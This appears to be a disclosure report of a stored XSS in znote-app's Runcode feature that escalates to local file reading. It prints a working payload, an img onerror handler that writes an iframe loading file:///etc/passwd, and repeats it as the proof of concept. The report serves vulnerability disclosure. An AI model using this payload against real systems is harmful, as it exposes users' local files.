XSS to LFI in Runcode Feature in alagrede/znote-app
Reported on
Nov 28th 2022
Description
By default runcode santized document prefix but if html encode to document.write('<iframe src=file:///etc/passwd></iframe>') then we can inserted html encoded func to html tag event like onerror <img src=x onerror="document.write('<iframe src=file:///etc/passwd></iframe>')">
POC: https://drive.google.com/file/d/1_Jh133kMAqMf8AUWrrjbOqRQpHSKlVyO/view?usp=sharing https://drive.google.com/file/d/1ek5dg4PG3rADuUPPXUOlKE6qSVGmKdZB/view?usp=sharing
Proof of Concept
<img src=x onerror="document.write('<iframe src=file:///etc/passwd></iframe>')">
Github issue: https://github.com/alagrede/znote-app/issues/73
Impact
Read Local OS File With Stored XSS
SECURITY.md
a year ago